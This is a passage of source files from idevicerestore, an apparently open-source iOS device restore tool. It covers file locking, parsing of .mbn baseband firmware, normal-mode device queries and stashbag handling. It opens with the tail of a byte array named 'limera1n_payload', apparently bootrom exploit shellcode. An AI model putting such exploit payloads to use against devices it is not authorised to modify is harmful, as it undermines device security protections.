0x2e, 0x35, 0x00, 0xe5, 0x36, 0x00, 0x00, 0x19, 0x09, 0x00, 0x00, 0xdd, 0x39, 0x00, 0x00, 0x34, 0x2e, 0x34, 0x00, 0x85, 0x4c, 0x00, 0x00, 0x6d, 0x68, 0x00, 0x00, 0x5d, 0x5a, 0x00, 0x00, 0x39, 0x2e, 0x33, 0x00, 0x9d, 0x34, 0x00, 0x00, 0x25, 0x09, 0x00, 0x00, 0x69, 0x39, 0x00, 0x00, 0x39, 0x2e, 0x33, 0x2e, 0xa5, 0x34, 0x00, 0x00, 0x71, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0xc0, 0x02, 0x00, 0x41, 0x54, 0x41, 0x44, 0x47, 0x41, 0x42, 0x4b, 0x00, 0x02, 0x00, 0x20, 0x00, 0x00, 0x00, 0x20, 0x1a, 0x78, 0xff, 0x2a, 0x4f, 0xf0, 0xff, 0x30, 0x00, 0x02, 0x00, 0x00, 0x00, 0x20, 0x00, 0x20, 0xf3, 0xdf, 0x90, 0xb5, 0x07, 0x4b, 0x1b, 0x68, 0x4f, 0xf0, 0xff, 0x33, 0x11, 0x9a, 0xd3, 0xf1, 0x18, 0xbf, 0x01, 0x20, 0x80, 0xb5, 0x00, 0xaf, 0x82, 0xb0, 0x4f, 0xf0, 0xb0, 0xb5, 0x02, 0xaf, 0x82, 0xb0, 0x01, 0x28, 0x00, 0x4b, 0x18, 0x47, 0x00, 0x00, 0x00, 0x41 }; __attribute__((unused)) static unsigned int limera1n_payload_len = 560; idevicerestore-master/src/locking.c000066400000000000000000000057551464320324600177640ustar00rootroot00000000000000/* * locking.c * locking extras * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifdef WIN32 #include #else #include #endif #include "locking.h" #include "common.h" int lock_file(const char* filename, lock_info_t* lockinfo) { if (!lockinfo) { return -1; } #ifdef WIN32 lockinfo->fp = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (lockinfo->fp == INVALID_HANDLE_VALUE) { debug("ERROR: could not open or create lockfile '%s'\n", filename); return -1; } lockinfo->ldata.Offset = 0; lockinfo->ldata.OffsetHigh = 0; if (!LockFileEx(lockinfo->fp, LOCKFILE_EXCLUSIVE_LOCK, 0, 1, 0, &lockinfo->ldata)) { debug("ERROR: can't lock file, error %d\n", GetLastError()); CloseHandle(lockinfo->fp); lockinfo->fp = INVALID_HANDLE_VALUE; return -1; } #else lockinfo->fp = fopen(filename, "a+"); if (!lockinfo->fp) { debug("ERROR: could not open or create lockfile '%s'\n", filename); return -1; } lockinfo->ldata.l_type = F_WRLCK; lockinfo->ldata.l_whence = SEEK_SET; lockinfo->ldata.l_start = 0; lockinfo->ldata.l_len = 0; if (fcntl(fileno(lockinfo->fp), F_SETLKW, &lockinfo->ldata) < 0) { debug("ERROR: can't lock file, error %d\n", errno); fclose(lockinfo->fp); lockinfo->fp = NULL; return -1; } #endif return 0; } int unlock_file(lock_info_t* lockinfo) { if (!lockinfo) { return -1; } #ifdef WIN32 if (lockinfo->fp == INVALID_HANDLE_VALUE) { return -1; } lockinfo->ldata.Offset = 0; lockinfo->ldata.OffsetHigh = 0; if (!UnlockFileEx(lockinfo->fp, 0, 1, 0, &lockinfo->ldata)) { debug("ERROR: can't unlock file, error %d\n", GetLastError()); CloseHandle(lockinfo->fp); lockinfo->fp = INVALID_HANDLE_VALUE; return -1; } CloseHandle(lockinfo->fp); lockinfo->fp = INVALID_HANDLE_VALUE; #else if (!lockinfo->fp) { return -1; } lockinfo->ldata.l_type = F_UNLCK; lockinfo->ldata.l_whence = SEEK_SET; lockinfo->ldata.l_start = 0; lockinfo->ldata.l_len = 0; if (fcntl(fileno(lockinfo->fp), F_SETLK, &lockinfo->ldata) < 0) { debug("ERROR: can't unlock file, error %d\n", errno); fclose(lockinfo->fp); lockinfo->fp = NULL; return -1; } fclose(lockinfo->fp); lockinfo->fp = NULL; #endif return 0; } idevicerestore-master/src/locking.h000066400000000000000000000022611464320324600177560ustar00rootroot00000000000000/* * locking.h * locking extras header file * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef LOCKING_H #define LOCKING_H #include #ifdef WIN32 #include #else #include #endif typedef struct { #ifdef WIN32 HANDLE fp; OVERLAPPED ldata; #else FILE* fp; struct flock ldata; #endif } lock_info_t; int lock_file(const char* filename, lock_info_t* lockp); int unlock_file(lock_info_t* lockp); #endif idevicerestore-master/src/mbn.c000066400000000000000000000055551464320324600171100ustar00rootroot00000000000000/* * mbn.c * support for .mbn file format (found in .bbfw files) * * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include "mbn.h" #include "common.h" mbn_file* mbn_parse(unsigned char* data, unsigned int size) { mbn_file* mbn = (mbn_file*)malloc(sizeof(mbn_file)); if (!mbn) { return NULL; } memset(mbn, '\0', sizeof(mbn_file)); mbn->data = malloc(size); mbn->size = size; memcpy(mbn->data, data, size); /* FIXME: header parsing is not big endian safe */ if (memcmp(data, MBN_V2_MAGIC, MBN_V2_MAGIC_SIZE) == 0) { mbn->version = 2; memcpy(&mbn->header.v2, data, sizeof(mbn_header_v2)); mbn->parsed_size = mbn->header.v2.data_size + sizeof(mbn_header_v2); } else if (memcmp(data, MBN_V1_MAGIC, MBN_V1_MAGIC_SIZE) == 0) { mbn->version = 1; memcpy(&mbn->header.v1, data, sizeof(mbn_header_v1)); mbn->parsed_size = mbn->header.v1.data_size + sizeof(mbn_header_v1); } else if (memcmp(data, BIN_MAGIC, BIN_MAGIC_SIZE) == 0) { mbn->version = 3; memcpy(&mbn->header.bin, data, sizeof(bin_header)); mbn->parsed_size = mbn->header.bin.total_size; } else if (memcmp(data, ELF_MAGIC, ELF_MAGIC_SIZE) == 0) { mbn->version = 4; memcpy(&mbn->header.elf, data, sizeof(elf_header)); // we cheat here since we don't parse the actual ELF file mbn->parsed_size = mbn->size; } else { debug("DEBUG: Unknown file format passed to %s\n", __func__); } if (mbn->parsed_size != mbn->size) { info("WARNING: size mismatch when parsing MBN file. Continuing anyway.\n"); } return mbn; } void mbn_free(mbn_file* mbn) { if (mbn) { if (mbn->data) { free(mbn->data); } free(mbn); } } int mbn_update_sig_blob(mbn_file* mbn, const unsigned char* sigdata, unsigned int siglen) { if (!mbn) { error("ERROR: %s: no data\n", __func__); return -1; } mbn->parsed_sig_offset = mbn->size - siglen; if ((mbn->parsed_sig_offset + siglen) > mbn->size) { error("ERROR: %s: signature is larger than mbn file size\n", __func__); return -1; } memcpy(mbn->data + mbn->parsed_sig_offset, sigdata, siglen); return 0; } idevicerestore-master/src/mbn.h000066400000000000000000000061011464320324600171010ustar00rootroot00000000000000/* * mbn.h * support for .mbn file format (found in .bbfw files) * * Copyright (c) 2012 Nikias Bassen. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef MBN_H #define MBN_H #include #define MBN_V1_MAGIC "\x0A\x00\x00\x00" #define MBN_V1_MAGIC_SIZE 4 struct _mbn_header_v1 { uint32_t type; // the signed .mbn files have 0xA as value. uint32_t unk_0x04; uint32_t unk_0x08; uint32_t unk_0x0c; uint32_t data_size; // data_size = total_size - sizeof(mbn_header) uint32_t sig_offset; // real offset = enc_sig_offset & 0xFFFFFF00 uint32_t unk_0x18; uint32_t unk_0x1c; uint32_t unk_0x20; uint32_t unk_0x24; } __attribute__((packed)); typedef struct _mbn_header_v1 mbn_header_v1; #define MBN_V2_MAGIC "\xD1\xDC\x4B\x84\x34\x10\xD7\x73" #define MBN_V2_MAGIC_SIZE 8 struct _mbn_header_v2 { unsigned char magic1[8]; uint32_t unk_0x08; uint32_t unk_0x0c; // 0xFFFFFFFF uint32_t unk_0x10; // 0xFFFFFFFF uint32_t header_size; uint32_t unk_0x18; uint32_t data_size; // data_size = total_size - sizeof(mbn_header_v2) uint32_t sig_offset; uint32_t unk_0x24; uint32_t unk_0x28; uint32_t unk_0x2c; uint32_t unk_0x30; uint32_t unk_0x34; // 0x1 uint32_t unk_0x38; // 0x1 uint32_t unk_0x3c; // 0xFFFFFFFF uint32_t unk_0x40; // 0xFFFFFFFF uint32_t unk_0x44; // 0xFFFFFFFF uint32_t unk_0x48; // 0xFFFFFFFF uint32_t unk_0x4c; // 0xFFFFFFFF } __attribute__((packed)); typedef struct _mbn_header_v2 mbn_header_v2; #define BIN_MAGIC "\x7D\x04\x00\xEA\x6C\x69\x48\x55" #define BIN_MAGIC_SIZE 8 struct _bin_header { unsigned char magic[8]; uint32_t unk_0x08; uint32_t version; uint32_t total_size; // size including header uint32_t unk_0x14; // some offset } __attribute__((packed)); typedef struct _bin_header bin_header; #define ELF_MAGIC "\x7F\x45\x4C\x46\x01\x01\x01\x00" // ELF magic, 32bit, little endian, SYSV #define ELF_MAGIC_SIZE 8 struct _elf_header { unsigned char magic[8]; } __attribute__((packed)); typedef struct _elf_header elf_header; typedef struct { uint32_t version; union { mbn_header_v1 v1; mbn_header_v2 v2; bin_header bin; elf_header elf; } header; uint32_t parsed_size; uint32_t parsed_sig_offset; void* data; uint32_t size; } mbn_file; mbn_file* mbn_parse(unsigned char* data, unsigned int size); void mbn_free(mbn_file* mbn); int mbn_update_sig_blob(mbn_file* mbn, const unsigned char* data, unsigned int size); #endif idevicerestore-master/src/normal.c000066400000000000000000000422761464320324600176250ustar00rootroot00000000000000/* * normal.h * Functions for handling idevices in normal mode * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include #include #include #include #include #include "common.h" #include "normal.h" #include "recovery.h" static int normal_idevice_new(struct idevicerestore_client_t* client, idevice_t* device) { int num_devices = 0; char **devices = NULL; idevice_t dev = NULL; idevice_error_t device_error; lockdownd_client_t lockdown = NULL; plist_t node = NULL; *device = NULL; if (client->udid) { device_error = idevice_new(&dev, client->udid); if (device_error != IDEVICE_E_SUCCESS) { debug("%s: can't open device with UDID %s\n", __func__, client->udid); return -1; } if (lockdownd_client_new(dev, &lockdown, "idevicerestore") != LOCKDOWN_E_SUCCESS) { error("ERROR: %s: can't connect to lockdownd on device with UDID %s\n", __func__, client->udid); return -1; } char* type = NULL; if (lockdownd_query_type(lockdown, &type) != LOCKDOWN_E_SUCCESS) { return -1; } if (strcmp(type, "com.apple.mobile.lockdown") != 0) { free(type); return -1; } free(type); if (lockdownd_get_value(lockdown, NULL, "UniqueChipID", &node) == LOCKDOWN_E_SUCCESS) { plist_get_uint_val(node, &client->ecid); plist_free(node); } lockdownd_client_free(lockdown); lockdown = NULL; *device = dev; return 0; } idevice_get_device_list(&devices, &num_devices); if (num_devices == 0) { return -1; } int j; for (j = 0; j < num_devices; j++) { if (lockdown != NULL) { lockdownd_client_free(lockdown); lockdown = NULL; } if (dev != NULL) { idevice_free(dev); dev = NULL; } device_error = idevice_new(&dev, devices[j]); if (device_error != IDEVICE_E_SUCCESS) { debug("%s: can't open device with UDID %s\n", __func__, devices[j]); continue; } if (lockdownd_client_new(dev, &lockdown, "idevicerestore") != LOCKDOWN_E_SUCCESS) { error("ERROR: %s: can't connect to lockdownd on device with UDID %s\n", __func__, devices[j]); continue; } char* type = NULL; if (lockdownd_query_type(lockdown, &type) != LOCKDOWN_E_SUCCESS) { continue; } if (strcmp(type, "com.apple.mobile.lockdown") != 0) { free(type); continue; } free(type); node = NULL; if ((lockdownd_get_value(lockdown, NULL, "UniqueChipID", &node) != LOCKDOWN_E_SUCCESS) || !node || (plist_get_node_type(node) != PLIST_UINT)){ if (node) { plist_free(node); } continue; } lockdownd_client_free(lockdown); lockdown = NULL; uint64_t this_ecid = 0; plist_get_uint_val(node, &this_ecid); plist_free(node); if (client->ecid != 0) { if (this_ecid != client->ecid) { continue; } } else { client->ecid = this_ecid; } client->udid = strdup(devices[j]); *device = dev; break; } idevice_device_list_free(devices); return 0; } int normal_check_mode(struct idevicerestore_client_t* client) { idevice_t device = NULL; normal_idevice_new(client, &device); if (!device) { return -1; } idevice_free(device); return 0; } irecv_device_t normal_get_irecv_device(struct idevicerestore_client_t* client) { idevice_t device = NULL; lockdownd_client_t lockdown = NULL; lockdownd_error_t lockdown_error = LOCKDOWN_E_SUCCESS; irecv_device_t irecv_device = NULL; normal_idevice_new(client, &device); if (!device) { return NULL; } lockdown_error = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore"); if (!(client->flags & FLAG_ERASE) && lockdown_error == LOCKDOWN_E_PAIRING_DIALOG_RESPONSE_PENDING) { info("*** Device is not paired with this computer. Please trust this computer on the device to continue. ***\n"); if (client->flags & FLAG_DEBUG) { idevice_set_debug_level(0); } while (!(client->flags & FLAG_QUIT)) { lockdown_error = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore"); if (lockdown_error != LOCKDOWN_E_PAIRING_DIALOG_RESPONSE_PENDING) { break; } sleep(1); } if (client->flags & FLAG_DEBUG) { idevice_set_debug_level(1); } if (client->flags & FLAG_QUIT) { return NULL; } } if (lockdown_error != LOCKDOWN_E_SUCCESS) { lockdown_error = lockdownd_client_new(device, &lockdown, "idevicerestore"); } if (lockdown_error != LOCKDOWN_E_SUCCESS) { idevice_free(device); return NULL; } plist_t pval = NULL; lockdownd_get_value(lockdown, NULL, "HardwareModel", &pval); if (pval && (plist_get_node_type(pval) == PLIST_STRING)) { char *strval = NULL; plist_get_string_val(pval, &strval); if (strval) { irecv_devices_get_device_by_hardware_model(strval, &irecv_device); free(strval); } } plist_free(pval); lockdownd_client_free(lockdown); idevice_free(device); return irecv_device; } int normal_enter_recovery(struct idevicerestore_client_t* client) { idevice_t device = NULL; lockdownd_client_t lockdown = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; lockdownd_error_t lockdown_error = LOCKDOWN_E_SUCCESS; device_error = idevice_new(&device, client->udid); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to find device\n"); return -1; } lockdown_error = lockdownd_client_new(device, &lockdown, "idevicerestore"); if (lockdown_error != LOCKDOWN_E_SUCCESS) { error("ERROR: Unable to connect to lockdownd: %s (%d)\n", lockdownd_strerror(lockdown_error), lockdown_error); idevice_free(device); return -1; } lockdown_error = lockdownd_enter_recovery(lockdown); if (lockdown_error == LOCKDOWN_E_SESSION_INACTIVE) { lockdownd_client_free(lockdown); lockdown = NULL; if (LOCKDOWN_E_SUCCESS != (lockdown_error = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore"))) { error("ERROR: Could not connect to lockdownd: %s (%d)\n", lockdownd_strerror(lockdown_error), lockdown_error); idevice_free(device); return -1; } lockdown_error = lockdownd_enter_recovery(lockdown); } if (lockdown_error != LOCKDOWN_E_SUCCESS) { error("ERROR: Unable to place device in recovery mode: %s (%d)\n", lockdownd_strerror(lockdown_error), lockdown_error); lockdownd_client_free(lockdown); idevice_free(device); return -1; } lockdownd_client_free(lockdown); idevice_free(device); lockdown = NULL; device = NULL; mutex_lock(&client->device_event_mutex); debug("DEBUG: Waiting for device to disconnect...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000); if (client->mode == MODE_NORMAL || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); error("ERROR: Failed to place device in recovery mode\n"); return -1; } debug("DEBUG: Waiting for device to connect in recovery mode...\n"); cond_wait_timeout(&client->device_event_cond, &client->device_event_mutex, 60000); if (client->mode != MODE_RECOVERY || (client->flags & FLAG_QUIT)) { mutex_unlock(&client->device_event_mutex); error("ERROR: Failed to enter recovery mode\n"); return -1; } mutex_unlock(&client->device_event_mutex); if (recovery_client_new(client) < 0) { error("ERROR: Unable to enter recovery mode\n"); return -1; } /* remove pair record for given device */ usbmuxd_delete_pair_record(client->udid); return 0; } plist_t normal_get_lockdown_value(struct idevicerestore_client_t* client, const char* domain, const char* key) { idevice_t device = NULL; plist_t node = NULL; lockdownd_client_t lockdown = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; lockdownd_error_t lockdown_error = LOCKDOWN_E_SUCCESS; device_error = idevice_new(&device, client->udid); if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to connect to device?!\n"); return NULL; } lockdown_error = lockdownd_client_new(device, &lockdown, "idevicerestore"); if (lockdown_error != LOCKDOWN_E_SUCCESS) { error("ERROR: Unable to connect to lockdownd\n"); idevice_free(device); return NULL; } lockdown_error = lockdownd_get_value(lockdown, domain, key, &node); if (lockdown_error != LOCKDOWN_E_SUCCESS) { debug("ERROR: Unable to get %s-%s from lockdownd\n", domain, key); lockdownd_client_free(lockdown); idevice_free(device); return NULL; } lockdownd_client_free(lockdown); idevice_free(device); lockdown = NULL; device = NULL; return node; } static int normal_get_nonce_by_key(struct idevicerestore_client_t* client, const char* key, unsigned char** nonce, unsigned int* nonce_size) { plist_t nonce_node = normal_get_lockdown_value(client, NULL, key); if (!nonce_node || plist_get_node_type(nonce_node) != PLIST_DATA) { error("Unable to get %s\n", key); return -1; } uint64_t n_size = 0; plist_get_data_val(nonce_node, (char**)nonce, &n_size); *nonce_size = (unsigned int)n_size; plist_free(nonce_node); return 0; } int normal_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { return normal_get_nonce_by_key(client, "SEPNonce", nonce, nonce_size); } int normal_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size) { return normal_get_nonce_by_key(client, "ApNonce", nonce, nonce_size); } int normal_is_image4_supported(struct idevicerestore_client_t* client) { plist_t node = normal_get_lockdown_value(client, NULL, "Image4Supported"); if (!node || plist_get_node_type(node) != PLIST_BOOLEAN) { return 0; } uint8_t bval = 0; plist_get_bool_val(node, &bval); plist_free(node); return bval; } int normal_get_preflight_info(struct idevicerestore_client_t* client, plist_t *preflight_info) { uint8_t has_telephony_capability = 0; plist_t node; node = normal_get_lockdown_value(client, NULL, "TelephonyCapability"); plist_get_bool_val(node, &has_telephony_capability); plist_free(node); if (has_telephony_capability) { node = normal_get_lockdown_value(client, NULL, "FirmwarePreflightInfo"); if (!node || plist_get_node_type(node) != PLIST_DICT) { error("ERROR: Unable to get FirmwarePreflightInfo\n"); return -1; } *preflight_info = node; } else { debug("DEBUG: Device does not have TelephonyCapability, no FirmwarePreflightInfo\n"); *preflight_info = NULL; } return 0; } int normal_handle_create_stashbag(struct idevicerestore_client_t* client, plist_t manifest) { int result = -1; idevice_t device = NULL; idevice_error_t device_err; lockdownd_client_t lockdown; lockdownd_service_descriptor_t service = NULL; lockdownd_error_t lerr; preboard_client_t preboard = NULL; preboard_error_t perr; device_err = idevice_new(&device, client->udid); if (device_err != IDEVICE_E_SUCCESS) { error("ERROR: Could not connect to device (%d)\n", device_err); return -1; } lerr = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore"); if (lerr != LOCKDOWN_E_SUCCESS) { error("ERROR: Could not connect to lockdownd (%d)\n", lerr); idevice_free(device); return -1; } lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service); if (lerr == LOCKDOWN_E_PASSWORD_PROTECTED) { info("*** Device is locked. Please unlock the device to continue. ***\n"); while (1) { lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service); if (lerr != LOCKDOWN_E_PASSWORD_PROTECTED) { break; } sleep(1); } } if (lerr != LOCKDOWN_E_SUCCESS) { error("ERROR: Could not start preboard service (%d)\n", lerr); lockdownd_client_free(lockdown); idevice_free(device); return -1; } perr = preboard_client_new(device, service, &preboard); lockdownd_service_descriptor_free(service); lockdownd_client_free(lockdown); if (perr != PREBOARD_E_SUCCESS) { error("ERROR: Could not connect to preboard service (%d)\n", perr); idevice_free(device); return -1; } perr = preboard_create_stashbag(preboard, manifest, NULL, NULL); if (perr != PREBOARD_E_SUCCESS) { error("ERROR: Failed to trigger stashbag creation (%d)\n", perr); preboard_client_free(preboard); idevice_free(device); return -1; } int ticks = 0; while (ticks++ < 130 && !(client->flags & FLAG_QUIT)) { plist_t pl = NULL; perr = preboard_receive_with_timeout(preboard, &pl, 1000); if (perr == PREBOARD_E_TIMEOUT) { continue; } else if (perr != PREBOARD_E_SUCCESS) { error("ERROR: could not receive from preboard service\n"); break; } else { plist_t node; if (plist_dict_get_bool(pl, "Skip")) { result = 0; info("Device does not require stashbag.\n"); break; } if (plist_dict_get_bool(pl, "ShowDialog")) { info("Device requires stashbag.\n"); printf("******************************************************************************\n" "* Please enter your passcode on the device. The device will store a token *\n" "* that will be used after restore to access the user data partition. This *\n" "* prevents an 'Attempting data recovery' process occurring after reboot that *\n" "* may take a long time to complete and will _also_ require the passcode. *\n" "******************************************************************************\n"); plist_free(pl); continue; } node = plist_dict_get_item(pl, "Error"); if (node) { char *strval = NULL; node = plist_dict_get_item(pl, "ErrorString"); if (node) { plist_get_string_val(node, &strval); } error("ERROR: Could not create stashbag: %s\n", (strval) ? strval : "(Unknown error)"); free(strval); plist_free(pl); break; } if (plist_dict_get_bool(pl, "Timeout")) { error("ERROR: Timeout while waiting for user to enter passcode.\n"); result = -2; plist_free(pl); break; } if (plist_dict_get_bool(pl, "HideDialog")) { plist_free(pl); /* hide dialog */ result = 1; info("Stashbag created.\n"); break; } } plist_free(pl); } preboard_client_free(preboard); idevice_free(device); return result; } int normal_handle_commit_stashbag(struct idevicerestore_client_t* client, plist_t manifest) { int result = -1; idevice_t device = NULL; idevice_error_t device_err; lockdownd_client_t lockdown; lockdownd_service_descriptor_t service = NULL; lockdownd_error_t lerr; preboard_client_t preboard = NULL; preboard_error_t perr; plist_t pl = NULL; device_err = idevice_new(&device, client->udid); if (device_err != IDEVICE_E_SUCCESS) { error("ERROR: Could not connect to device (%d)\n", device_err); return -1; } lerr = lockdownd_client_new_with_handshake(device, &lockdown, "idevicerestore"); if (lerr != LOCKDOWN_E_SUCCESS) { error("ERROR: Could not connect to lockdownd (%d)\n", lerr); idevice_free(device); return -1; } lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service); if (lerr == LOCKDOWN_E_PASSWORD_PROTECTED) { info("*** Device is locked. Please unlock the device to continue. ***\n"); while (1) { lerr = lockdownd_start_service(lockdown, PREBOARD_SERVICE_NAME, &service); if (lerr != LOCKDOWN_E_PASSWORD_PROTECTED) { break; } sleep(1); } } if (lerr != LOCKDOWN_E_SUCCESS) { error("ERROR: Could not start preboard service (%d)\n", lerr); lockdownd_client_free(lockdown); idevice_free(device); return -1; } perr = preboard_client_new(device, service, &preboard); lockdownd_service_descriptor_free(service); lockdownd_client_free(lockdown); if (perr != PREBOARD_E_SUCCESS) { error("ERROR: Could not connect to preboard service (%d)\n", perr); idevice_free(device); return -1; } perr = preboard_commit_stashbag(preboard, manifest, NULL, NULL); if (perr != PREBOARD_E_SUCCESS) { error("ERROR: Failed to trigger stashbag creation (%d)\n", perr); preboard_client_free(preboard); idevice_free(device); return -1; } perr = preboard_receive_with_timeout(preboard, &pl, 30000); if (perr != PREBOARD_E_SUCCESS) { error("ERROR: could not receive from preboard service (%d)\n", perr); } else { plist_t node = plist_dict_get_item(pl, "Error"); if (node) { char *strval = NULL; node = plist_dict_get_item(pl, "ErrorString"); if (node) { plist_get_string_val(node, &strval); } error("ERROR: Could not commit stashbag: %s\n", (strval) ? strval : "(Unknown error)"); free(strval); } else if (plist_dict_get_bool(pl, "StashbagCommitComplete")) { info("Stashbag committed!\n"); result = 0; } else { error("ERROR: Unexpected reply from preboard service\n"); debug_plist(pl); } plist_free(pl); } preboard_client_free(preboard); idevice_free(device); return result; } idevicerestore-master/src/normal.h000066400000000000000000000041461464320324600176240ustar00rootroot00000000000000/* * normal.h * Functions for handling idevices in normal mode * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #ifndef IDEVICERESTORE_NORMAL_H #define IDEVICERESTORE_NORMAL_H #ifdef __cplusplus extern "C" { #endif #include #include #include int normal_check_mode(struct idevicerestore_client_t* client); irecv_device_t normal_get_irecv_device(struct idevicerestore_client_t* client); int normal_enter_recovery(struct idevicerestore_client_t* client); int normal_is_image4_supported(struct idevicerestore_client_t* client); int normal_get_ap_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int normal_get_sep_nonce(struct idevicerestore_client_t* client, unsigned char** nonce, unsigned int* nonce_size); int normal_get_preflight_info(struct idevicerestore_client_t* client, plist_t *preflight_info); plist_t normal_get_lockdown_value(struct idevicerestore_client_t* client, const char* domain, const char* key); int normal_handle_create_stashbag(struct idevicerestore_client_t* client, plist_t manifest); int normal_handle_commit_stashbag(struct idevicerestore_client_t* client, plist_t manifest); #ifdef __cplusplus } #endif #endif idevicerestore-master/src/recovery.c000066400000000000000000000402141464320324600201610ustar00rootroot00000000000000/* * recovery.c * Functions for handling idevices in recovery mode * * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved. * Copyright (c) 2010-2012 Martin Szulecki. All Rights Reserved. * Copyright (c) 2010 Joshua Hill. All Rights Reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ #include #include #include #include #include #include #include #include #include "idevicerestore.h" #include "img3.h" #include "restore.h" #include "recovery.h" static int recovery_progress_callback(irecv_client_t client, const irecv_event_t* event) { if (event->type == IRECV_PROGRESS) { //print_progress_bar(event->progress); } return 0; } void recovery_client_free(struct idevicerestore_client_t* client) { if(client) { if (client->recovery) { if(client->recovery->client) { irecv_close(client->recovery->client); client->recovery->client = NULL; } free(client->recovery); client->recovery = NULL; } } } int recovery_client_new(struct idevicerestore_client_t* client) { int i = 0; int attempts = 20; irecv_client_t recovery = NULL; irecv_error_t recovery_error = IRECV_E_UNKNOWN_ERROR; if(client->recovery == NULL) { client->recovery = (struct recovery_client_t*)malloc(sizeof(struct recovery_client_t)); if (client->recovery == NULL) { error("ERROR: Out of memory\n"); return -1; } memset(client->recovery, 0, sizeof(struct recovery_client_t)); } for (i = 1; i <= attempts; i++) { recovery_error = irecv_open_with_ecid(&recovery, client->ecid); if (recovery_error == IRECV_E_SUCCESS) { break; } if (i 